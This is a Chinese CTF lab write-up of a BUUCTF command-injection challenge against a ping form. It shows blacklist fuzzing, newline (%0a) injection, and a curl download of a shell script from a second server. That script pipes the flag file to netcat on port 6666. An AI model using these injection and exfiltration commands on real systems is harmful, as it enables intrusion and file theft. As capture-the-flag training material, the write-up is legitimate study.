从0到1CTFer成长之路-第二章-命令执行漏洞


命令执行漏洞

声明

好好向大佬们学习!!!

攻击

命令执行漏洞

摘自

https://book.nu1l.com/tasks/#/

使用BUUCTF在线环境

https://buuoj.cn/challenges

注意,这一节,需要一台公网服务器用于反弹shell,贴心的BUUCTF还给我们准备了和靶机在同一网段内网的服务器,但是,一个账号只能创建一个容器,所以我们需要两个账户,我这里就是重新用邮箱创建了一个账户,一个账户开靶机,一个账户开服务器

靶机开启

在这里插入图片描述

访问发现,是一个ping功能,我们的目标就是通过在ping的IP后面接上参数,然后查看flag

http://0f1f42a1-cfe5-4175-92d2-a46f1e92c38b.node3.buuoj.cn/

在这里插入图片描述

右键查看源码,发现是通过ping.php进行提交参数

在这里插入图片描述

看大佬以及书上的攻略是,先对IP后面的字符进行一个FUZZ测试,看看哪些在黑名单内(字典我也没在网上找到,自己对着键盘一顿乱按,把知道的都打上就行了)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eO4KZ7Nj-1614328317841)(/image-20210223164801001.png)]

爆出来的结果按照长度排序,201的响应都是在黑名单没法用,195的响应都是ping失败,也就是说可以拼接使用,那么就是用换行符%0A

在这里插入图片描述

在这里插入图片描述

验证一下%0A

ip=127.0.0.1%0als

在这里插入图片描述

虽然回显了Ping成功,%0a后面的ls命令应该是执行成功了,那么就是说%0a后面我们可以构造命令执行,我们可以通过在一台公网或者BUUCTF内网服务器搭建一个web服务,根目录写入反弹shell脚本,使用这里的命令执行,去下载反弹shell脚本并执行

我木有公网服务器,这里只能用BUUCTF提供的内网服务器了,重新使用一个邮箱申请了一个账户,进入下图中

在这里插入图片描述

发布容器后,如下图,创建了一个内网服务器,我们直接ssh连接这个就行,用户名root,密码123456,IP是node3.buuoj.cn,端口是27045

在这里插入图片描述

在这里插入图片描述

ssh进去后看一下IP,因为反弹shell需要IP,IP为172.16.135.160,一看就是docker的IP

在这里插入图片描述

进入到apache的网站根目录,写个脚本,并且开启apache

cd /var/www/html/
vim shell.sh

shell.sh内容如下,记得IP改好

ls
cat /FLAG | nc 172.16.135.160 6666

在这里插入图片描述

开启apache

/etc/init.d/apache2 start

执行命令下载shell脚本

ip=127.0.0.1%0acurl 172.16.135.160/shell.sh > /tmp/shell.sh

在这里插入图片描述

脚本增加可执行权限

ip=127.0.0.1%0achmod 777 /tmp/shell.sh

在这里插入图片描述

内网服务器监听6666端口

nc -lvvp 6666

执行脚本

在这里插入图片描述

这俩flag都是答案

在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值